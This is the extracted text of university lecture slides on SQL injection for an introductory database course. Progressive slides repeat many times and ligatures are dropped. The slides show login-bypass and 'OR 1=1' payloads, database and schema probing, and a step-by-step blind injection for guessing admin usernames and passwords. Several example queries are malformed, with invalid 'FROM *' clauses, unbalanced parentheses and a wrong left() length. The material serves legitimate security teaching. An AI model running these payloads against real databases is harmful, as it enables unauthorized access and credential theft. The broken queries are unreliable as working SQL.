Ch6 - SQL Injection
Ch6 - SQL Injection
SQL Injection
COMP3278A
Introduction to Database Management Systems
Dr. CHEN, Yi
Email: chenyi1@[Link]
[Link]
Simple Example
Variable
$query = "SELECT * FROM t3_books where bookID='".$_GET['bookID']."';";
[Link]
[Link]
[Link]
[Link]
[Link]
fi
Introduction to SQL Injection
• De nition
• SQL Injection is an attack technique where malicious SQL code is inserted
into a query string and send to the database server for execution.
• Why it matters
• One of the most widespread web vulnerabilities
• Severe consequences
• Data modi cation or deletion
• Unauthorized access to sensitive data
• Potential server-level access
fi
fi
Common Characters in SQL Injection
• -- or #
• OR
• UNION
• ||
• /*…*/
• +
Common Characters in SQL Injection
• -- or #
• OR
• UNION
• ||
• /*…*/
• +
Common Characters in SQL Injection
• -- or #
• Single-line comment, which is used to ignore the rest of the SQL query
• SELECT * FROM users; -- this is a comment
• SELECT * FROM users; # this is a comment
Common Characters in SQL Injection
• -- or #
• Single-line comment, which is used to ignore the rest of the SQL query
• SELECT * FROM users; -- this is a comment
• SELECT * FROM users; # this is a comment
• How to use this in SQL injection attack?
Common Characters in SQL Injection
• -- or #
• Single-line comment, which is used to ignore the rest of the SQL query
• SELECT * FROM users; -- this is a comment
• SELECT * FROM users; # this is a comment
• How to use this in SQL injection attack?
• SELECT * FROM users WHERE username = '[input]' AND password = '[input]’;
Common Characters in SQL Injection
• -- or #
• Single-line comment, which is used to ignore the rest of the SQL query
• SELECT * FROM users; -- this is a comment
• SELECT * FROM users; # this is a comment
controlled by attacker
• How to use this in SQL injection attack?
• SELECT * FROM users WHERE username = '[input]' AND password = '[input]';
Common Characters in SQL Injection
• -- or #
• Single-line comment, which is used to ignore the rest of the SQL query
• SELECT * FROM users; -- this is a comment
• SELECT * FROM users; # this is a comment
controlled by attacker
• How to use this in SQL injection attack?
• SELECT * FROM users WHERE username = '[input]' AND password = '[input]';
• SELECT * FROM users WHERE username = 'admin'; --' AND password ='123';
Common Characters in SQL Injection
• -- or #
• Single-line comment, which is used to ignore the rest of the SQL query
• SELECT * FROM users; -- this is a comment
• SELECT * FROM users; # this is a comment
controlled by attacker
• How to use this in SQL injection attack?
• SELECT * FROM users WHERE username = '[input]' AND password = '[input]';
• SELECT * FROM users WHERE username = 'admin'; --' AND password ='123';
Common Characters in SQL Injection
• -- or #
• Single-line comment, which is used to ignore the rest of the SQL query
• SELECT * FROM users; -- this is a comment
• SELECT * FROM users; # this is a comment
controlled by attacker
• How to use this in SQL injection attack?
• SELECT * FROM users WHERE username = '[input]' AND password = '[input]';
• SELECT * FROM users WHERE username = 'admin'; --' AND password =‘123';
Common Characters in SQL Injection
• -- or #
• OR
• UNION
• ||
• /*…*/
• +
Common Characters in SQL Injection
• OR
• How to use this in SQL injection attack?
• SELECT * FROM users WHERE userID = [input];
Common Characters in SQL Injection
• OR
controlled by attacker
• How to use this in SQL injection attack?
• SELECT * FROM users WHERE userID = [input];
Common Characters in SQL Injection
• OR
controlled by attacker
• How to use this in SQL injection attack?
• SELECT * FROM users WHERE userID = [input];
• SELECT * FROM users WHERE userID = 123 OR 1=1;
Common Characters in SQL Injection
• OR
controlled by attacker
• How to use this in SQL injection attack?
• SELECT * FROM users WHERE userID = [input];
• SELECT * FROM users WHERE userID = 123 OR 1=1;
Common Characters in SQL Injection
• OR
controlled by attacker
• How to use this in SQL injection attack?
• SELECT * FROM users WHERE userID = [input];
• SELECT * FROM users WHERE userID = 123 OR 1=1;
Common Characters in SQL Injection
• OR
controlled by attacker
• How to use this in SQL injection attack?
• SELECT * FROM users WHERE userID = [input];
• SELECT * FROM users WHERE userID = 123 OR 1=1;
• Sqlite
• [Link] )+IS+NOT+NULL
• SELECT * FROM * WHERE p = Yi AND sqlite_version( ) is NOT NULL;
2. Information Gathering
• System variables
• MySQL
• [Link] )+IS+NOT+NULL
• SELECT * FROM * WHERE p = Yi AND version( ) is NOT NULL;
• [Link] )+IS+NOT+NULL
• SELECT * FROM * WHERE p = Yi AND user( ) is NOT NULL;
• [Link] )+IS+NOT+NULL
• SELECT * FROM * WHERE p = Yi AND database( ) is NOT NULL;
• Sqlite
• [Link] )+IS+NOT+NULL
• SELECT * FROM * WHERE p = Yi AND sqlite_version( ) is NOT NULL;
2. Information Gathering
• System variables
• MySQL
• [Link] )+IS+NOT+NULL
• SELECT * FROM * WHERE p = Yi AND version( ) is NOT NULL;
• [Link] )+IS+NOT+NULL
• SELECT * FROM * WHERE p = Yi AND user( ) is NOT NULL;
• [Link] )+IS+NOT+NULL
• SELECT * FROM * WHERE p = Yi AND database( ) is NOT NULL;
• Sqlite
• [Link] )+IS+NOT+NULL
• SELECT * FROM * WHERE p = Yi AND sqlite_version( ) is NOT NULL;
2. Information Gathering
• System tables
• MySQL
• [Link]
• SELECT * FROM * WHERE p = Yi AND (SELECT COUNT(*) FROM information_schema.tables) > 0;
• [Link]
• SELECT * FROM * WHERE p = Yi AND (SELECT COUNT(*) FROM information_schema.columns) > 0;
2. Information Gathering
• System tables
• MySQL
• [Link]
• SELECT * FROM * WHERE p = Yi AND (SELECT COUNT(*) FROM information_schema.tables) > 0;
• [Link]
• SELECT * FROM * WHERE p = Yi AND (SELECT COUNT(*) FROM information_schema.columns) > 0;
2. Information Gathering
• System tables
• MySQL
• [Link]
• SELECT * FROM * WHERE p = Yi AND (SELECT COUNT(*) FROM information_schema.tables) > 0;
• [Link]
• SELECT * FROM * WHERE p = Yi AND (SELECT COUNT(*) FROM information_schema.columns) > 0;
• Sqlite
• [Link]
• SELECT * FROM * WHERE p = Yi AND (SELECT COUNT(*) FROM sqlite_master) > 0;
SQL Injection Attack Stages
1. Vulnerability discovery
2. Information gathering
3. Attack execution
3. Attack Execution
• Goal: obtain users and their passwords
• SELECT xxx FROM xxx WHERE p =
3. Attack Execution
• Goal: obtain users and their passwords
• SELECT xxx FROM xxx WHERE p =
• Steps
1. Guess table name where we are interested
2. Guess column name where we are interested
3. Guess data where we are interested
3. Attack Execution
1. Guess table name where we are interested
• Try common table names
• admin, adminuser, user, pass, password …
3. Attack Execution
1. Guess table name where we are interested
• Try common table names
• admin, adminuser, user, pass, password …
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 0;
3. Attack Execution
1. Guess table name where we are interested
• Try common table names
• admin, adminuser, user, pass, password …
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 0;
• Guess the number of records in the table
3. Attack Execution
1. Guess table name where we are interested
• Try common table names
• admin, adminuser, user, pass, password …
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 0;
• Guess the number of records in the table
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 6;
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 7;
3. Attack Execution
1. Guess table name where we are interested
• Try common table names
• admin, adminuser, user, pass, password …
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 0;
• Guess the number of records in the table
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 6;
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 7;
3. Attack Execution
1. Guess table name where we are interested
• Try common table names
• admin, adminuser, user, pass, password …
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 0;
• Guess the number of records in the table
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 6;
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 7;
• The number of records = 7
3. Attack Execution
1. Guess table name where we are interested
• Try common table names
• admin, adminuser, user, pass, password …
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 0;
• Guess the number of records in the table
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 6;
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 7;
• The number of records = 7
2. Guess column name where we are interested
3. Attack Execution
1. Guess table name where we are interested
• Try common table names
• admin, adminuser, user, pass, password …
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 0;
• Guess the number of records in the table
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 6;
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 7;
• The number of records = 7
2. Guess column name where we are interested
• Try common column names
• user, username, password, pwd
3. Attack Execution
1. Guess table name where we are interested
• Try common table names
• admin, adminuser, user, pass, password …
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 0;
• Guess the number of records in the table
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 6;
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin) > 7;
• The number of records = 7
2. Guess column name where we are interested
• Try common column names
• user, username, password, pwd
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin WHERE
length(user)) > 0;
3. Attack Execution
3. Guess data where we are interested
• Guess the length of the interested parameter
3. Attack Execution
3. Guess data where we are interested
• Guess the length of the interested parameter
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT length(user) FROM admin LIMIT
0,1) > 5;
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT length(user) FROM admin LIMIT
0,1) > 6;
3. Attack Execution
3. Guess data where we are interested
• Guess the length of the interested parameter
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT length(user) FROM admin LIMIT
0,1) > 5;
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT length(user) FROM admin LIMIT
0,1) > 6;
• The length of the data in the user column is 6
3. Attack Execution
3. Guess data where we are interested
• Guess the length of the interested parameter
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT length(user) FROM admin LIMIT
0,1) > 5;
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT length(user) FROM admin LIMIT
0,1) > 6;
• The length of the data in the user column is 6
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT length(password) FROM admin
LIMIT 0,1) > 5;
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT length(password) FROM admin
LIMIT 0,1) > 6;
3. Attack Execution
3. Guess data where we are interested
• Guess the content of the interested parameter
3. Attack Execution
3. Guess data where we are interested
• Guess the content of the interested parameter
• The rst character
fi
3. Attack Execution
3. Guess data where we are interested
• Guess the content of the interested parameter
• The rst character
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin
WHERE left(password, 1)) = ‘A’) = 1;
fi
3. Attack Execution
3. Guess data where we are interested
• Guess the content of the interested parameter
• The rst character
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin
WHERE left(password, 1)) = ‘A’) = 1;
fi
3. Attack Execution
3. Guess data where we are interested
• Guess the content of the interested parameter
• The rst character
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin
WHERE left(password, 1)) = ‘A’) = 1;
• The second character
fi
3. Attack Execution
3. Guess data where we are interested
• Guess the content of the interested parameter
• The rst character
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin
WHERE left(password, 1)) = ‘A’) = 1;
• The second character
• SELECT xxx FROM xxx WHERE p = 123 AND (SELECT COUNT(*) FROM admin
WHERE left(password, 1)) = ‘AC’) = 1;
fi
Recall
END
COMP3278A
Introduction to Database Management Systems
Dr. CHEN, Yi
Email: chenyi1@[Link]